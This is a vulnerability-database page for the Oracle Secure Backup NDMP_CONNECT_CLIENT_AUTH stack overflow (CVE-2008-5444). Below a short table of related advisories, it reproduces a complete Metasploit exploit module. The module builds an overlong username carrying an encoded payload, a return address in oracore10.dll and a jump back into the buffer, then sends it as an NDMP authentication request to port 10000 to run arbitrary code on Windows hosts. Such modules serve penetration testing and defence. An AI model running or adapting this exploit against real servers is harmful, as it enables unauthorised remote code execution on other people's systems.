Oracle Secure Backup NDMP_CONNECT_CLIENT_AUTH Buffer Overflow vulnerabilit
Reporter | Title | Published | Views | Family All 22 |
---|---|---|---|---|
Check Point Advisories | Oracle Secure Backup NDMP CONNECT_CLIENT_AUTH Command Buffer Overflow (CVE-2008-5444) | 23 Feb 200900:00 | – | checkpoint_advisories |
securityvulns | Oracle Secure Backup NDMP_CONECT_CLIENT_AUTH Command Buffer Overflow Vulnerability | 16 Jan 200900:00 | – | securityvulns |
securityvulns | Oracle applications multiple security vulnerabilities | 15 Dec 200900:00 | – | securityvulns |
Metasploit | Oracle Secure Backup NDMP_CONNECT_CLIENT_AUTH Buffer Overflow | 23 Feb 200916:26 | – | metasploit |
Saint | Oracle Secure Backup NDMP_CONECT_CLIENT_AUTH buffer overflow | 28 Jan 200900:00 | – | saint |
Saint | Oracle Secure Backup NDMP_CONECT_CLIENT_AUTH buffer overflow | 28 Jan 200900:00 | – | saint |
Saint | Oracle Secure Backup NDMP_CONECT_CLIENT_AUTH buffer overflow | 28 Jan 200900:00 | – | saint |
Saint | Oracle Secure Backup NDMP_CONECT_CLIENT_AUTH buffer overflow | 28 Jan 200900:00 | – | saint |
Exploit DB | Oracle Secure Backup - NDMP_CONNECT_CLIENT_AUTH Buffer Overflow (Metasploit) | 9 May 201000:00 | – | exploitdb |
NVD | CVE-2008-5449 | 14 Jan 200901:30 | – | nvd |
`##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::NDMP
def initialize(info = {})
super(update_info(info,
'Name' => 'Oracle Secure Backup NDMP_CONNECT_CLIENT_AUTH Buffer Overflow',
'Description' => %q{
The module exploits a stack overflow in Oracle Secure Backup.
When sending a specially crafted NDMP_CONNECT_CLIENT_AUTH packet,
an attacker may be able to execute arbitrary code.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2008-5444' ],
[ 'OSVDB', '51340' ],
[ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujan2009.html' ],
],
'Platform' => 'win',
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
},
'Targets' =>
[
[ 'Oracle Secure Backup 10.1.0.3 (Windows 2003 SP0/Windows XP SP3)', { 'Ret' => 0x608f5a28 } ], # oracore10.dll
],
'DisclosureDate' => 'Jan 14 2009',
'DefaultTarget' => 0))
register_options([Opt::RPORT(10000)], self.class)
end
def exploit
connect
print_status("Trying target #{target.name}...")
ndmp_recv()
username = rand_text_alphanumeric(3789 - payload.encoded.length)
username << payload.encoded + Rex::Arch::X86.jmp_short(6)
username << make_nops(2) + [target.ret].pack('V') + [0xe8, -850].pack('CV')
username << rand_text_alphanumeric(5000 - 3793 - payload.encoded.length - 8 - 5)
password = rand_text_alphanumeric(rand(25) + 1)
# Create the authentication request
auth = [
0, # Sequence number
Time.now.to_i, # Current time
0, # Message type (request)
0x901, # Message name (connect_client_auth)
0, # Reply sequence number
0, # Error status
1 # Authentication type
].pack('NNNNNNN') +
[ username.length ].pack('N') + username +
[ password.length ].pack('N') + password +
[ 4 ].pack('N')
print_status("Sending authentication request...")
ndmp_send(auth)
handler
disconnect
end
end
`
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo